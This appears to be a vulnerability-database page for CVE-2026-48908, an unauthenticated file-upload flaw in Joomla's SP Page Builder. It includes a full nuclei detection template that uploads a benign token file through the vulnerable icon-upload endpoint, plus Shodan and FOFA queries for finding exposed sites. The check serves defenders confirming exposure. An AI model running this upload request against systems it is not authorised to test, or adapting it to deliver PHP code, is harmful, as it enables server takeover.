HexBrain

Browse / CVEs / CVE-2026-48908

CVE-2026-48908· joomshaper / sp page builder· CWE-284

Joomla SP Page Builder <= 6.6.1 - Unauthenticated Arbitrary File Upload RCE

Exploited in the wild. Listed by CISA on 2026-07-07; known to be used by ransomware.

criticalseverity
9.8CVSS score
89.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

SP Page Builder for Joomla contains an unrestricted file upload vulnerability allowing unauthenticated users to upload and execute arbitrary PHP code, exploit requires no authentication.

Impact

Unauthenticated attackers can upload and execute arbitrary PHP code, leading to full server compromise.

Fix

Update to the latest version of SP Page Builder for Joomla.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "com_sppagebuilder")
Send: POST /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
Positive when: status_code == 200 and contains_all(body, "status", "output") and !contains(body, "require admin")
Send: GET /media/com_sppagebuilder/assets/iconfont/iconpkg/fonts/{{vtoken}}.txt
Positive when: status_code == 200 and contains(body, "{{vtoken}}")

Run it with nuclei: nuclei -id CVE-2026-48908 -u <target>

The full check
id: CVE-2026-48908

info:
  name: Joomla SP Page Builder <= 6.6.1 - Unauthenticated Arbitrary File Upload RCE
  author: 0x_Akoko
  severity: critical
  description: |
   SP Page Builder for Joomla contains an unrestricted file upload vulnerability allowing unauthenticated users to upload and execute arbitrary PHP code, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary PHP code, leading to full server compromise.
  remediation: |
    Update to the latest version of SP Page Builder for Joomla.
  reference:
    - https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/
    - https://github.com/papageo75/CVE-2026-48908-PoC
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48908
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-48908
    epss-score: 0.89176
    epss-percentile: 0.99782
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 3
    vendor: joomshaper
    product: sp_page_builder
    framework: joomla
    shodan-query: http.html:"com_sppagebuilder"
    fofa-query: body="com_sppagebuilder"
  tags: cve,cve2026,joomla,sppagebuilder,rce,file-upload,intrusive,kev,vkev

flow: |
  // build the icon-package zip at runtime with a random verify filename + content
  function crc32(b){var c,crc=0^(-1);for(var i=0;i<b.length;i++){c=(crc^b[i])&0xFF;for(var k=0;k<8;k++){c=(c&1)?(0xEDB88320^(c>>>1)):(c>>>1);}crc=(crc>>>8)^c;}return (crc^(-1))>>>0;}
  function sb(s){var a=[];for(var i=0;i<s.length;i++){a.push(s.charCodeAt(i)&0xFF);}return a;}
  function u16(n){return [n&0xFF,(n>>>8)&0xFF];}
  function u32(n){return [n&0xFF,(n>>>8)&0xFF,(n>>>16)&0xFF,(n>>>24)&0xFF];}
  function pp(d,a){for(var i=0;i<a.length;i++){d.push(a[i]);}}
  function b64(b){var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",r="",i;for(i=0;i<b.length;i+=3){var x=b[i],y=(i+1<b.length)?b[i+1]:0,z=(i+2<b.length)?b[i+2]:0;r+=t.charAt(x>>>2);r+=t.charAt(((x&3)<<4)|(y>>>4));r+=(i+1<b.length)?t.charAt(((y&15)<<2)|(z>>>6)):"=";r+=(i+2<b.length)?t.charAt(z&63):"=";}return r;}
  function rtok(n){var c="abcdefghijklmnopqrstuvwxyz0123456789",s="";for(var i=0;i<n;i++){s+=c.charAt(Math.floor(Math.random()*c.length));}return s;}
  function buildZip(files){var out=[],cd=[],off=0,dt=0x0000,dd=0x0021;for(var i=0;i<files.length;i++){var f=files[i],nb=sb(f.name),crc=crc32(f.data),sz=f.data.length,nl=nb.length;var lh=[];pp(lh,[0x50,0x4B,0x03,0x04]);pp(lh,u16(20));pp(lh,u16(0));pp(lh,u16(0));pp(lh,u16(dt));pp(lh,u16(dd));pp(lh,u32(crc));pp(lh,u32(sz));pp(lh,u32(sz));pp(lh,u16(nl));pp(lh,u16(0));pp(lh,nb);pp(out,lh);pp(out,f.data);var ce=[];pp(ce,[0x50,0x4B,0x01,0x02]);pp(ce,u16(20));pp(ce,u16(20));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u16(dt));pp(ce,u16(dd));pp(ce,u32(crc));pp(ce,u32(sz));pp(ce,u32(sz));pp(ce,u16(nl));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u16(0));pp(ce,u32(0));pp(ce,u32(off));pp(ce,nb);pp(cd,ce);off+=lh.length+sz;}var cds=out.length;pp(out,cd);var cz=cd.length;var e=[];pp(e,[0x50,0x4B,0x05,0x06]);pp(e,u16(0));pp(e,u16(0));pp(e,u16(files.length));pp(e,u16(files.length));pp(e,u32(cz));pp(e,u32(cds));pp(e,u16(0));pp(out,e);return out;}

  var vtoken = rtok(16);
  var files = [
    {name:"selection.json", data:sb('{"IcoMoonType": "selection", "icons": [], "metadata": {"name": "iconpkg"}, "preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": "iconpkg"}}}}')},
    {name:"style.css", data:sb(".ico-x:before{content:'x';}")},
    {name:"fonts/iconpkg.ttf", data:sb("FONT")},
    {name:"fonts/"+vtoken+".txt", data:sb(vtoken)}
  ];
  set("vtoken", vtoken);
  set("zipdata", b64(buildZip(files)));

  http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "com_sppagebuilder")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----FormBoundaryCK

        ------FormBoundaryCK
        Content-Disposition: form-data; name="custom_icon"; filename="iconpkg.zip"
        Content-Type: application/zip

        {{base64_decode(zipdata)}}
        ------FormBoundaryCK--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "status", "output")'
          - '!contains(body, "require admin")'
        condition: and
        internal: true

  - raw:
      - |
        GET /media/com_sppagebuilder/assets/iconfont/iconpkg/fonts/{{vtoken}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{vtoken}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from